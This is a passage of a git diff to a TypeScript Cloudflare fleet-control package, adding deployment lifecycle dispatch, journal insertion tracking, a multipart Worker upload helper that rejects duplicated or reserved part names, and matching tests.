'object' || + Array.isArray(token) || + !Object.hasOwn(token, 'operationId') || + (token as { operationId: unknown }).operationId !== stored.operationId + ) + throw new DirectReferenceExecutionError('wrong-operation'); + return token; +} diff --git a/packages/fleet-control/scripts/direct-reference-journal.ts b/packages/fleet-control/scripts/direct-reference-journal.ts index a76af7bc..bbb1c50d 100644 --- a/packages/fleet-control/scripts/direct-reference-journal.ts +++ b/packages/fleet-control/scripts/direct-reference-journal.ts @@ -14,6 +14,7 @@ export type DirectOperationSlot = | DirectInventorySlot | DirectAuditSlot | 'migration-next' + | 'cleanup-recovery-initial' | `cleanup-${DirectFixtureRole}` | `decommission-${DirectFixtureRole}`; export type DirectOperationKind = @@ -50,6 +51,10 @@ export interface DirectStoredOperation extends DirectStartCandidate { readonly tokenRevision: number | null; } +export interface DirectFrozenStart extends DirectStoredOperation { + readonly inserted: boolean; +} + export interface DirectStoredObservation { readonly identityJson: string; readonly provenanceJson: string; @@ -121,6 +126,7 @@ function kindFor(slot: string): DirectOperationKind { return 'inventory'; if (slot === 'audit-before' || slot === 'audit-after') return 'audit'; if (slot === 'migration-next') return 'migration'; + if (slot === 'cleanup-recovery-initial') return 'cleanup'; for (const kind of ['cleanup', 'decommission'] as const) if (['a', 'b', 'recovery'].some((role) => slot === `${kind}-${role}`)) return kind; @@ -303,10 +309,10 @@ export class DirectReferenceJournal { freezeStart( slot: DirectOperationSlot, create: () => Promise, - ): Promise { + ): Promise { return this.#withState(async () => { const prior = await this.#operation(slot); - if (prior) return prior; + if (prior) return Object.freeze({ ...prior, inserted: false }); const candidate = await create(); const kind = kindFor(slot); const operationId = @@ -314,8 +320,8 @@ export class DirectReferenceJournal { const assignedByFleet = kind === 'cleanup' || kind === 'decommission'; if ((operationId === null) !== assignedByFleet) stateError(); const input = jsonObject(candidate.inputJson); - await this.#database.execute( - 'INSERT INTO direct_reference_operations (run_key,slot,operation_kind,operation_id,start_json,start_sha256) VALUES (?,?,?,?,?,?) ON CONFLICT DO NOTHING', + const inserted = await this.#database.query( + 'INSERT INTO direct_reference_operations (run_key,slot,operation_kind,operation_id,start_json,start_sha256) VALUES (?,?,?,?,?,?) ON CONFLICT DO NOTHING RETURNING slot', [ this.#runKey, slot, @@ -328,9 +334,16 @@ export class DirectReferenceJournal { ), ], ); + if ( + inserted.length > 1 || + (inserted.length === 1 && inserted[0]?.slot !== slot) + ) + stateError(); const winner = await this.#operation(slot); if (!winner) stateError(); - return winner; + if (inserted.length === 1 && winner.inputJson !== input.text) + stateError(); + return Object.freeze({ ...winner, inserted: inserted.length === 1 }); }); } diff --git a/packages/fleet-control/scripts/direct-reference-lifecycle.ts b/packages/fleet-control/scripts/direct-reference-lifecycle.ts new file mode 100644 index 00000000..9849d8b8 --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-lifecycle.ts @@ -0,0 +1,337 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + type CleanupAdvanceAction, + type CleanupAdvanceResult, + type CleanupTerminalReceipt, + type CloudflareDeploymentSpec, + deploymentSpecDigest, + type FleetRecord, + ProvisioningError, + type ProvisioningResult, +} from '@proofoftech/fleet-control/cloudflare-control-plane'; +import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; +import type { + DirectFixtureRelease, + DirectFixtureRole, +} from './direct-credentialed-spec.js'; +import type { DirectReferenceContext } from './direct-reference-context.js'; +import { directContinuation } from './direct-reference-continuation.js'; +import type { DirectReferenceAction } from './direct-reference-contract.mjs'; +import { DirectReferenceExecutionError } from './direct-reference-http.js'; +import { + type DirectOperationSlot, + DirectReferenceJournalError, + type DirectStoredOperation, +} from './direct-reference-journal.js'; +import { recordDirectResource } from './direct-reference-observations.js'; + +type LifecycleAction = Extract< + DirectReferenceAction, + { role: DirectFixtureRole } +>; +type CleanupSlot = `cleanup-${DirectFixtureRole}` | 'cleanup-recovery-initial'; + +function cleanupSlot( + role: DirectFixtureRole, + release: DirectFixtureRelease, +): CleanupSlot { + return role === 'recovery' && release === 'initial' + ? 'cleanup-recovery-initial' + : `cleanup-${role}`; +} + +function candidate( + context: DirectReferenceContext, + role: DirectFixtureRole, + release: DirectFixtureRelease, +) { + return { + operationId: null, + inputJson: JSON.stringify({ + version: 1, + role, + release, + specDigest: deploymentSpecDigest(context.spec(role, release)), + }), + }; +} + +function recipeForRecord(context: DirectReferenceContext, record: FleetRecord) { + const role = context.roleFor(record); + const spec = context.specFor(record); + const releases: readonly DirectFixtureRelease[] = + role === 'recovery' + ? ['initial', 'next', 'failed-recovery'] + : ['initial', 'next']; + const release = releases.find( + (release) => context.spec(role, release) === spec, + ); + if (!release) throw new DirectReferenceJournalError(); + return { role, release, spec }; +} + +export function readFrozenLifecycleSpec( + context: DirectReferenceContext, + stored: DirectStoredOperation, + role: DirectFixtureRole, +): CloudflareDeploymentSpec { + const input = JSON.parse(stored.inputJson) as Record; + const release = input.release; + if ( + input.role !== role || + (release !== 'initial' && + release !== 'next' && + !(role === 'recovery' && release === 'failed-recovery')) || + (stored.kind !== 'cleanup' && stored.kind !== 'decommission') + ) + throw new DirectReferenceJournalError(); + if (stored.inputJson !== candidate(context, role, release).inputJson) + throw new DirectReferenceJournalError(); + return context.spec(role, release); +} + +function validateReceipt( + receipt: CleanupTerminalReceipt, + operationId: string, + spec: CloudflareDeploymentSpec, +) { + if ( + receipt.operationId !== operationId || + receipt.tenantTag !== spec.tenantTag || + receipt.environment !== spec.environment || + receipt.backend !== 'plain-worker' || + receipt.scriptName !== spec.scriptName || + receipt.databaseName !== spec.databaseName + ) + throw new DirectReferenceJournalError(); + return receipt; +} + +export async function readHistoricalRecoveryReceipt( + context: DirectReferenceContext, +) { + const stored = await context.journal.readOperation('cleanup-recovery'); + if (!stored?.operationId) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const spec = readFrozenLifecycleSpec(context, stored, 'recovery'); + if (spec !== context.spec('recovery', 'failed-recovery')) + throw new DirectReferenceJournalError(); + const receipt = await context.control.readCleanupReceipt(stored.operationId); + if (!receipt) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + validateReceipt(receipt, stored.operationId, spec); + if (receipt.authority !== 'provisioning-rollback') + throw new DirectReferenceJournalError(); + return { slot: stored.slot, receipt }; +} + +async function provision( + context: DirectReferenceContext, + manifest: DirectRunManifest, + action: Extract, +) { + const { role, release } = action; + const names = manifest.names.roles[role]; + const slot = cleanupSlot(role, release); + const stored = await context.journal.freezeStart(slot, async () => { + if (role === 'recovery' && release === 'initial') { + await readHistoricalRecoveryReceipt(context); + if ( + await context.control.getDeployment( + names.tenantTag, + manifest.environment, + ) + ) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + } + return candidate(context, role, release); + }); + const spec = readFrozenLifecycleSpec(context, stored, role); + if (spec !== context.spec(role, release) || stored.tokenJson !== null) + throw new DirectReferenceExecutionError(); + const current = await context.control.getDeployment( + names.tenantTag, + manifest.environment, + ); + if (current) { + context.roleFor(current); + if ( + current.cleanupIntent || + current.decommissionIntent || + context.specFor(current) !== spec + ) + throw new DirectReferenceExecutionError(); + } else if (!stored.inserted) throw new DirectReferenceExecutionError(); + let result: ProvisioningResult; + try { + result = await context.control.provisionDeployment({ + spec, + secrets: context.secrets(role), + initialExecutionFenceState: 'open', + }); + } catch (error) { + let cleanup: CleanupAdvanceResult | undefined; + try { + if (error instanceof ProvisioningError) cleanup = error.cleanup; + } catch { + // Foreign rejections can trap class or property inspection. + } + if (!cleanup) throw error; + if ( + cleanup.token.tenantTag !== spec.tenantTag || + cleanup.token.environment !== spec.environment + ) + throw new DirectReferenceExecutionError('wrong-operation'); + await context.journal.rememberToken(slot, JSON.stringify(cleanup.token)); + const record = await context.control.getDeployment( + names.tenantTag, + manifest.environment, + ); + const resource = record + ? await recordDirectResource(context, record, 'provision-read') + : undefined; + return { status: 'failed-provision', role, slot, cleanup, resource }; + } + const resource = await recordDirectResource( + context, + result.record, + 'provision-read', + ); + return { status: 'ready', role, resource }; +} + +async function selectCleanup( + context: DirectReferenceContext, + manifest: DirectRunManifest, + action: LifecycleAction, +): Promise { + const slots: readonly CleanupSlot[] = + action.role === 'recovery' + ? ['cleanup-recovery-initial', 'cleanup-recovery'] + : [`cleanup-${action.role}`]; + const stored = await Promise.all( + slots.map((slot) => context.journal.readOperation(slot)), + ); + if (Object.hasOwn(action, 'token')) { + const token: unknown = Reflect.get(action, 'token'); + if ( + !token || + typeof token !== 'object' || + Array.isArray(token) || + !Object.hasOwn(token, 'operationId') + ) + throw new DirectReferenceExecutionError('wrong-operation'); + const matches = stored.filter( + (entry) => + entry !== undefined && + entry.operationId !== null && + entry.operationId === Reflect.get(token, 'operationId'), + ); + if (matches.length !== 1 || !matches[0]) + throw new DirectReferenceExecutionError('wrong-operation'); + return matches[0]; + } + const selected = stored.find((value) => value !== undefined); + if (selected) return selected; + if (action.kind !== 'cleanup-start') + throw new DirectReferenceExecutionError('missing-continuation'); + const record = await context.control.getDeployment( + manifest.names.roles[action.role].tenantTag, + manifest.environment, + ); + if (!record) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const recipe = recipeForRecord(context, record); + return context.journal.freezeStart( + cleanupSlot(action.role, recipe.release), + async () => candidate(context, action.role, recipe.release), + ); +} + +export async function dispatchDirectLifecycle( + context: DirectReferenceContext, + manifest: DirectRunManifest, + action: LifecycleAction, + signal: AbortSignal, +): Promise { + if (action.kind === 'provision') return provision(context, manifest, action); + const decommission = action.kind.startsWith('decommission-'); + let stored: DirectStoredOperation; + if (decommission) { + const slot: DirectOperationSlot = `decommission-${action.role}`; + if (action.kind === 'decommission-start') { + stored = await context.journal.freezeStart(slot, async () => { + const record = await context.control.getDeployment( + manifest.names.roles[action.role].tenantTag, + manifest.environment, + ); + if (!record) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const recipe = recipeForRecord(context, record); + return candidate(context, action.role, recipe.release); + }); + } else { + const existing = await context.journal.readOperation(slot); + if (!existing) + throw new DirectReferenceExecutionError('missing-continuation'); + stored = existing; + } + } else stored = await selectCleanup(context, manifest, action); + const spec = readFrozenLifecycleSpec(context, stored, action.role); + if (action.kind === 'cleanup-receipt') { + if (!stored.operationId) + throw new DirectReferenceExecutionError('missing-continuation'); + const receipt = await context.control.readCleanupReceipt( + stored.operationId, + ); + return { + slot: stored.slot, + receipt: receipt + ? validateReceipt(receipt, stored.operationId, spec) + : null, + }; + } + let advance: CleanupAdvanceAction; + if ( + (action.kind === 'cleanup-start' || action.kind === 'decommission-start') && + stored.tokenJson === null + ) + advance = { kind: 'start' }; + else + advance = { + kind: action.kind.endsWith('-restart-blocked') + ? 'restart-blocked' + : 'continue', + token: directContinuation(stored, action), + }; + const current = await context.control.getDeployment( + spec.tenantTag, + spec.environment, + ); + if ( + current && + (stored.operationId === null || + current.cleanupIntent?.operationId === stored.operationId || + current.decommissionIntent?.operationId === stored.operationId) + ) + await recordDirectResource(context, current, 'teardown-read'); + const result = decommission + ? await context.control.advanceDecommissionDeployment({ + spec, + action: advance, + maxProviderRequests: manifest.referenceRuntime.maxProviderRequests, + signal, + }) + : await context.control.advanceCleanupDeployment({ + spec, + action: advance, + maxProviderRequests: manifest.referenceRuntime.maxProviderRequests, + signal, + }); + await context.journal.rememberToken( + stored.slot, + JSON.stringify(result.token), + ); + return { slot: stored.slot, ...result }; +} diff --git a/packages/fleet-control/scripts/direct-reference-observations.ts b/packages/fleet-control/scripts/direct-reference-observations.ts index 97791fd8..ab7bc0eb 100644 --- a/packages/fleet-control/scripts/direct-reference-observations.ts +++ b/packages/fleet-control/scripts/direct-reference-observations.ts @@ -11,7 +11,11 @@ import type { DirectReferenceContext } from './direct-reference-context.js'; import { DirectReferenceExecutionError } from './direct-reference-http.js'; import type { DirectStoredResource } from './direct-reference-journal.js'; -type ResourceSource = 'provision-read' | 'migration-read' | 'before-force'; +type ResourceSource = + | 'provision-read' + | 'migration-read' + | 'teardown-read' + | 'before-force'; function compare(left: string, right: string): number { return left < right ? -1 : left > right ? 1 : 0; diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts index 454317db..bebe3219 100644 --- a/packages/fleet-control/scripts/direct-reference-worker.ts +++ b/packages/fleet-control/scripts/direct-reference-worker.ts @@ -8,6 +8,7 @@ import { type DirectReferenceContext, type DirectReferenceEnvironment, } from './direct-reference-context.js'; +import { directContinuation } from './direct-reference-continuation.js'; import type { DirectInventorySlot, DirectReferenceAction, @@ -21,6 +22,7 @@ import { DirectReferenceJournalError, type DirectStoredOperation, } from './direct-reference-journal.js'; +import { dispatchDirectLifecycle } from './direct-reference-lifecycle.js'; import type { DirectReferenceTransportSnapshot } from './direct-reference-transport.js'; const operationSlots: readonly DirectOperationSlot[] = [ @@ -32,6 +34,7 @@ const operationSlots: readonly DirectOperationSlot[] = [ 'cleanup-a', 'cleanup-b', 'cleanup-recovery', + 'cleanup-recovery-initial', 'decommission-a', 'decommission-b', 'decommission-recovery', @@ -62,28 +65,6 @@ function inventoryStart( return action; } -function continuation( - stored: DirectStoredOperation, - action: DirectReferenceAction, -): unknown { - const token: unknown = Object.hasOwn(action, 'token') - ? Reflect.get(action, 'token') - : stored.tokenJson === null - ? undefined - : JSON.parse(stored.tokenJson); - if (token === undefined) - throw new DirectReferenceExecutionError('missing-continuation'); - if ( - !token || - typeof token !== 'object' || - Array.isArray(token) || - !Object.hasOwn(token, 'operationId') || - (token as { operationId: unknown }).operationId !== stored.operationId - ) - throw new DirectReferenceExecutionError('wrong-operation'); - return token; -} - function pinOwner( manifest: DirectRunManifest, slot: DirectInventorySlot, @@ -163,6 +144,8 @@ async function dispatch( ), }; } + if ('role' in action) + return dispatchDirectLifecycle(context, manifest, action, signal); if (action.kind !== 'inventory-start' && action.kind !== 'inventory-continue') throw new DirectReferenceExecutionError(); let advance: CloudflareFleetInventoryAdvanceAction; @@ -193,13 +176,13 @@ async function dispatch( advance = stored.tokenJson === null ? start - : { kind: 'continue', token: continuation(stored, action) }; + : { kind: 'continue', token: directContinuation(stored, action) }; } else { const stored = await context.journal.readOperation(action.slot); if (!stored) throw new DirectReferenceExecutionError('missing-continuation'); inventoryStart(manifest, stored); - advance = { kind: 'continue', token: continuation(stored, action) }; + advance = { kind: 'continue', token: directContinuation(stored, action) }; } const result = await context.control.advanceFleetInventory({ action: advance, diff --git a/packages/fleet-control/scripts/tsconfig.direct-worker.json b/packages/fleet-control/scripts/tsconfig.direct-worker.json index d29f6a59..a870fe8a 100644 --- a/packages/fleet-control/scripts/tsconfig.direct-worker.json +++ b/packages/fleet-control/scripts/tsconfig.direct-worker.json @@ -13,6 +13,7 @@ "direct-reference-transport.ts", "direct-reference-context.ts", "direct-reference-observations.ts", + "direct-reference-lifecycle.ts", "direct-reference-worker.ts" ], "include": [] diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index ffff5906..a99a752b 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -59,6 +59,7 @@ import { type WorkerAttachmentScanChunk, type WorkerAttachmentScanInput, } from './cloudflare-worker-attachment-scan.js'; +import { namedWorkerUploadBody } from './cloudflare-worker-upload.js'; import { cancelBodyWithoutAwait, captureDatabaseExportReceiptCapability, @@ -1788,22 +1789,26 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ), ); return this.#schedule(async () => { + const metadata = JSON.stringify({ + bindings: spec.bindings, + compatibility_date: spec.compatibilityDate, + compatibility_flags: spec.compatibilityFlags + ? [...spec.compatibilityFlags] + : undefined, + keep_bindings: ['secret_text'], + main_module: spec.mainModule, + migrations: spec.migrations, + tags: spec.tags ? [...spec.tags] : undefined, + }); const result = await this.#client.workers.scripts.update( spec.scriptName, { account_id: this.#accountId, - files, - metadata: { - bindings: spec.bindings as never, - compatibility_date: spec.compatibilityDate, - compatibility_flags: spec.compatibilityFlags - ? [...spec.compatibilityFlags] - : undefined, - keep_bindings: ['secret_text'], - main_module: spec.mainModule, - migrations: spec.migrations as never, - tags: spec.tags ? [...spec.tags] : undefined, - }, + metadata: metadata as never, + }, + { + body: namedWorkerUploadBody(files, metadata), + headers: { 'Content-Type': null }, }, ); if (!result.etag) { @@ -2516,6 +2521,30 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { return this.#schedule(async () => { await this.#assertUntrustedDispatchNamespace(dispatchNamespace); + const metadata = JSON.stringify({ + bindings, + compatibility_date: spec.compatibilityDate, + compatibility_flags: spec.compatibilityFlags + ? [...spec.compatibilityFlags] + : undefined, + keep_bindings: ['secret_text'], + limits: { + cpu_ms: spec.cpuLimitMs, + subrequests: spec.subrequestLimit, + }, + main_module: spec.mainModule, + migrations, + tags: [ + FLEET_SCRIPT_TAG, + `tenant:${spec.tenantTag}`, + `environment:${spec.environment}`, + `schema:${spec.schemaVersion}`, + `spec:${deploymentSpecDigest(spec)}`, + ...(spec.durableObjectMigrations.at(-1)?.tag + ? [`do:${spec.durableObjectMigrations.at(-1)?.tag}`] + : []), + ], + }); const result = await this.#client.workersForPlatforms.dispatch.namespaces.scripts.update( physicalScriptName, @@ -2523,31 +2552,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { account_id: this.#accountId, dispatch_namespace: dispatchNamespace, bindings_inherit: 'strict', - files, - metadata: { - bindings: bindings as never, - compatibility_date: spec.compatibilityDate, - compatibility_flags: spec.compatibilityFlags - ? [...spec.compatibilityFlags] - : undefined, - keep_bindings: ['secret_text'], - limits: { - cpu_ms: spec.cpuLimitMs, - subrequests: spec.subrequestLimit, - }, - main_module: spec.mainModule, - migrations, - tags: [ - FLEET_SCRIPT_TAG, - `tenant:${spec.tenantTag}`, - `environment:${spec.environment}`, - `schema:${spec.schemaVersion}`, - `spec:${deploymentSpecDigest(spec)}`, - ...(spec.durableObjectMigrations.at(-1)?.tag - ? [`do:${spec.durableObjectMigrations.at(-1)?.tag}`] - : []), - ], - }, + metadata: metadata as never, + }, + { + body: namedWorkerUploadBody(files, metadata), + headers: { 'Content-Type': null }, }, ); if (!result.etag) { @@ -2706,6 +2715,30 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }; return this.#schedule(async () => { await this.#assertUntrustedDispatchNamespace(dispatchNamespace); + const metadata = JSON.stringify({ + bindings, + compatibility_date: options.artifact.compatibilityDate, + compatibility_flags: options.artifact.compatibilityFlags + ? [...options.artifact.compatibilityFlags] + : undefined, + keep_bindings: ['secret_text'], + main_module: options.artifact.mainModule, + migrations: dispatchMigrations(stateSpec), + tags: [ + FLEET_SCRIPT_TAG, + 'role:platform-state', + `group:${resourceGroupId}`, + `tenant:${spec.tenantTag}`, + `environment:${spec.environment}`, + `schema:${spec.schemaVersion}`, + `spec:${deploymentSpecDigest(spec)}`, + ...(spec.durableObjectMigrations.at(-1)?.tag + ? [`do:${spec.durableObjectMigrations.at(-1)?.tag}`] + : []), + `artifact:${options.artifactDigest}`, + `state-egress:${options.stateEgressCredentialDigest}`, + ], + }); const result = await this.#client.workersForPlatforms.dispatch.namespaces.scripts.update( scriptName, @@ -2713,31 +2746,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { account_id: this.#accountId, dispatch_namespace: dispatchNamespace, bindings_inherit: 'strict', - files, - metadata: { - bindings: bindings as never, - compatibility_date: options.artifact.compatibilityDate, - compatibility_flags: options.artifact.compatibilityFlags - ? [...options.artifact.compatibilityFlags] - : undefined, - keep_bindings: ['secret_text'], - main_module: options.artifact.mainModule, - migrations: dispatchMigrations(stateSpec), - tags: [ - FLEET_SCRIPT_TAG, - 'role:platform-state', - `group:${resourceGroupId}`, - `tenant:${spec.tenantTag}`, - `environment:${spec.environment}`, - `schema:${spec.schemaVersion}`, - `spec:${deploymentSpecDigest(spec)}`, - ...(spec.durableObjectMigrations.at(-1)?.tag - ? [`do:${spec.durableObjectMigrations.at(-1)?.tag}`] - : []), - `artifact:${options.artifactDigest}`, - `state-egress:${options.stateEgressCredentialDigest}`, - ], - }, + metadata: metadata as never, + }, + { + body: namedWorkerUploadBody(files, metadata), + headers: { 'Content-Type': null }, }, ); if (!result.etag) { diff --git a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts index 1747afbc..d02ac428 100644 --- a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts +++ b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts @@ -1,12 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -// This module holds ordinary-Worker (plain-plane) provider operations that -// CloudflareProvisioningClient calls through one-line forwards or directly. -// Context-taking functions declare the slice of OrdinaryWorkerContext they -// need; the preparation and migration helpers take no context. -// Provider requests go through context.client, the client's SDK instance; -// this module imports nothing from cloudflare-client.ts. - import type Cloudflare from 'cloudflare'; import type { ScriptUpdateParams } from 'cloudflare/resources/workers/scripts/scripts'; import type { VersionCreateParams } from 'cloudflare/resources/workers/scripts/versions'; @@ -16,6 +9,7 @@ import { isNotFound, sanitizeProviderError, } from './cloudflare-provider-errors.js'; +import { namedWorkerUploadBody } from './cloudflare-worker-upload.js'; import { readArrayField, readField, @@ -407,13 +401,13 @@ export async function dispatchOrdinaryWorkerUpload( const { files, intent, metadata, secretValues } = prepared; await context.schedule(async () => { const subdomain = context.client.workers.scripts.subdomain; - const uploadBody = { + const uploadParameters = { account_id: context.accountId, - files: [...files], // cloudflare/internal/uploads.mjs:102-129 bracket-flattens objects; // Wrangler 4.118.0 serializes the same metadata value as JSON. metadata: metadata as never, }; + const body = namedWorkerUploadBody(files, metadata); const send = async (call: () => Promise): Promise => { try { await call(); @@ -423,9 +417,15 @@ export async function dispatchOrdinaryWorkerUpload( }; if (intent.mode === 'initial') { await send(() => - context.client.workers.scripts.update(intent.scriptName, uploadBody, { - maxRetries: 0, - }), + context.client.workers.scripts.update( + intent.scriptName, + uploadParameters, + { + maxRetries: 0, + body, + headers: { 'Content-Type': null }, + }, + ), ); // Sanitization is limited to the upload request that carries secrets. // Cloudflare rejects subdomain writes before the script exists. The @@ -455,8 +455,8 @@ export async function dispatchOrdinaryWorkerUpload( await send(() => context.client.workers.scripts.versions.create( intent.scriptName, - uploadBody, - { maxRetries: 0 }, + uploadParameters, + { maxRetries: 0, body }, ), ); }); diff --git a/packages/fleet-control/src/cloudflare-worker-upload.ts b/packages/fleet-control/src/cloudflare-worker-upload.ts new file mode 100644 index 00000000..1deaf305 --- /dev/null +++ b/packages/fleet-control/src/cloudflare-worker-upload.ts @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: Apache-2.0 + +export function namedWorkerUploadBody( + files: readonly File[], + metadata: string, +): Record { + const parts = new Map([['metadata', metadata]]); + for (const file of files) { + if (parts.has(file.name)) { + throw new Error( + `Worker upload part '${file.name}' is duplicated or reserved`, + ); + } + parts.set(file.name, file); + } + return Object.fromEntries(parts); +} diff --git a/packages/fleet-control/test/cloudflare-client.test.ts b/packages/fleet-control/test/cloudflare-client.test.ts index dfcaab7c..cc8e0be0 100644 --- a/packages/fleet-control/test/cloudflare-client.test.ts +++ b/packages/fleet-control/test/cloudflare-client.test.ts @@ -53,6 +53,192 @@ function deployment(overrides: Partial = {}): DeploymentSpec { } describe('CloudflareProvisioningClient', () => { + it.each([ + 'reserved', + 'duplicate', + ] as const)('refuses %s module part names before an upload', async (kind) => { + let requests = 0; + const client = new CloudflareProvisioningClient({ + plane: 'plain-worker', + accountId: 'account', + apiToken: 'inert', + rateCoordinator: testRateCoordinator(), + fetch: async () => { + requests++; + return envelope({ etag: 'unexpected' }); + }, + }); + const names = + kind === 'reserved' ? ['metadata'] : ['worker.js', 'worker.js']; + await expect( + fenced(client, () => + client.uploadControlWorker({ + scriptName: 'parts', + mainModule: names[0] ?? '', + modules: names.map((name) => ({ + name, + content: 'export default {}', + })), + compatibilityDate: '2026-08-06', + bindings: [], + }), + ), + ).rejects.toThrow('duplicated or reserved'); + expect(requests).toBe(0); + }); + + it('keeps upload module names separate from SDK routing parameters', async () => { + const observations: unknown[] = []; + const client = new CloudflareProvisioningClient({ + plane: 'plain-worker', + accountId: 'account', + apiToken: 'inert', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const request = new Request(input, init); + if (request.url === 'data:,') return new Response(''); + const form = await request.formData(), + module = form.get('account_id'); + observations.push({ + path: new URL(request.url).pathname, + metadata: JSON.parse(String(form.get('metadata'))), + module: + module && typeof module !== 'string' ? await module.text() : null, + }); + return envelope({ etag: 'uploaded' }); + }, + }); + await fenced(client, () => + client.uploadControlWorker({ + scriptName: 'parts', + mainModule: 'account_id', + modules: [{ name: 'account_id', content: 'export default {}' }], + compatibilityDate: '2026-08-06', + bindings: [], + }), + ); + expect(observations).toEqual([ + expect.objectContaining({ + path: '/client/v4/accounts/account/workers/scripts/parts', + metadata: expect.objectContaining({ main_module: 'account_id' }), + module: 'export default {}', + }), + ]); + }); + + it.each([ + 'control', + 'dispatch', + 'state', + ] as const)('encodes %s uploads as native multipart with one JSON metadata part', async (kind) => { + const wasm = new Uint8Array([ + 0, 97, 115, 109, 1, 0, 0, 0, 0, 6, 0, 255, 128, 0, 195, 169, + ]); + const spec = deployment({ + authoredBy: 'platform', + modules: [ + { name: 'worker.js', content: 'export default {}' }, + { + name: 'fixture.wasm', + content: wasm, + contentType: 'application/wasm', + }, + ], + }); + const observations: unknown[] = []; + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'inert', + dispatchNamespace: 'fleet', + rateCoordinator: testRateCoordinator(), + fetch: async (input, init) => { + const request = new Request(input, init); + if (request.url === 'data:,') return new Response(''); + if ( + request.method === 'GET' && + new URL(request.url).pathname.endsWith( + '/workers/dispatch/namespaces/fleet', + ) + ) + return envelope({ + namespace_name: 'fleet', + trusted_workers: false, + script_count: 0, + }); + expect(request.method).toBe('PUT'); + let form: FormData | undefined; + try { + form = await request.formData(); + } catch { + /* The assertions retain malformed wire metadata. */ + } + const metadata = form?.get('metadata'); + const file = [...(form?.values() ?? [])].find( + (value) => typeof value !== 'string' && value.name === 'fixture.wasm', + ); + observations.push({ + multipart: /^multipart\/form-data;\s*boundary=/u.test( + request.headers.get('content-type') ?? '', + ), + rawMetadataPart: + init?.body instanceof FormData && + typeof init.body.get('metadata') === 'string', + entryPart: form?.has('worker.js') ?? false, + auxiliaryPart: form?.has('fixture.wasm') ?? false, + mainModule: + typeof metadata === 'string' + ? JSON.parse(metadata).main_module + : undefined, + wasm: + typeof file === 'object' + ? [...new Uint8Array(await file.arrayBuffer())] + : undefined, + }); + return envelope({ etag: 'uploaded-version' }); + }, + }); + await fenced(client, async () => { + if (kind === 'control') + await client.uploadControlWorker({ + scriptName: spec.scriptName, + mainModule: spec.mainModule, + modules: spec.modules, + compatibilityDate: spec.compatibilityDate, + bindings: [], + }); + else if (kind === 'dispatch') + await client.uploadDispatchWorker(spec, { + id: 'db-acme', + name: spec.databaseName, + created: false, + }); + else + await client.uploadNamespacedStateWorker({ + spec, + database: { id: 'db-acme', name: spec.databaseName, created: false }, + artifact: { + mainModule: spec.mainModule, + modules: spec.modules, + compatibilityDate: spec.compatibilityDate, + }, + artifactDigest: 'a'.repeat(64), + maintenanceCapabilityPublicKey: 'inert-public-key', + sharedOutboundWorkerName: 'fixture-outbound', + stateEgressCredentialDigest: 'b'.repeat(64), + }); + }); + expect(observations).toEqual([ + { + multipart: true, + rawMetadataPart: true, + entryPart: true, + auxiliaryPart: true, + mainModule: 'worker.js', + wasm: [...wasm], + }, + ]); + }); + it('fails closed for unfenced writes and request timeouts outside the lease TTL', async () => { let providerWrites = 0; const client = new CloudflareProvisioningClient({ @@ -1877,28 +2063,32 @@ describe('CloudflareProvisioningClient', () => { 'dispatch-upload', ]); expect(requestUrl?.pathname).toContain('/acme-physical-candidate'); - const entries = [...(uploadBody?.entries() ?? [])].map( - ([name, value]) => [name, String(value)] as const, - ); - expect(entries).toEqual( + const metadata = JSON.parse(String(uploadBody?.get('metadata'))); + expect(metadata.bindings).toEqual( expect.arrayContaining([ - ['metadata[bindings][][name]', 'MAINTENANCE'], - ['metadata[bindings][][type]', 'durable_object_namespace'], - ['metadata[bindings][][class_name]', 'Maintenance'], - ['metadata[bindings][][script_name]', 'fleet-maintenance-host'], - ['metadata[bindings][][dispatch_namespace]', 'fleet'], - ['metadata[bindings][][name]', 'AUDIT_PROXY'], - ['metadata[bindings][][class_name]', 'FlowsafeFleetAuditProxy'], - ['metadata[bindings][][name]', 'FLEET_SPEC_DIGEST'], - ['metadata[bindings][][name]', 'FLEET_MAINTENANCE_CAPABILITIES'], - ['metadata[tags][]', 'fleet:anchorage'], + { + name: 'MAINTENANCE', + type: 'durable_object_namespace', + class_name: 'Maintenance', + script_name: 'fleet-maintenance-host', + dispatch_namespace: 'fleet', + }, + expect.objectContaining({ + name: 'AUDIT_PROXY', + class_name: 'FlowsafeFleetAuditProxy', + }), + expect.objectContaining({ name: 'FLEET_SPEC_DIGEST' }), + expect.objectContaining({ name: 'FLEET_MAINTENANCE_CAPABILITIES' }), ]), ); - expect(entries).not.toEqual( - expect.arrayContaining([['metadata[bindings][][name]', 'EGRESS_PROXY']]), + expect(metadata.tags).toContain('fleet:anchorage'); + expect(metadata.bindings).not.toEqual( + expect.arrayContaining([ + expect.objectContaining({ name: 'EGRESS_PROXY' }), + ]), ); - expect(entries).not.toEqual( - expect.arrayContaining([['metadata[bindings][][type]', 'service']]), + expect(metadata.bindings).not.toEqual( + expect.arrayContaining([expect.objectContaining({ type: 'service' })]), ); }); @@ -2201,12 +2391,9 @@ describe('CloudflareProvisioningClient', () => { )?.[1]?.body; expect(controlUpload).toBeInstanceOf(FormData); expect( - [...((controlUpload 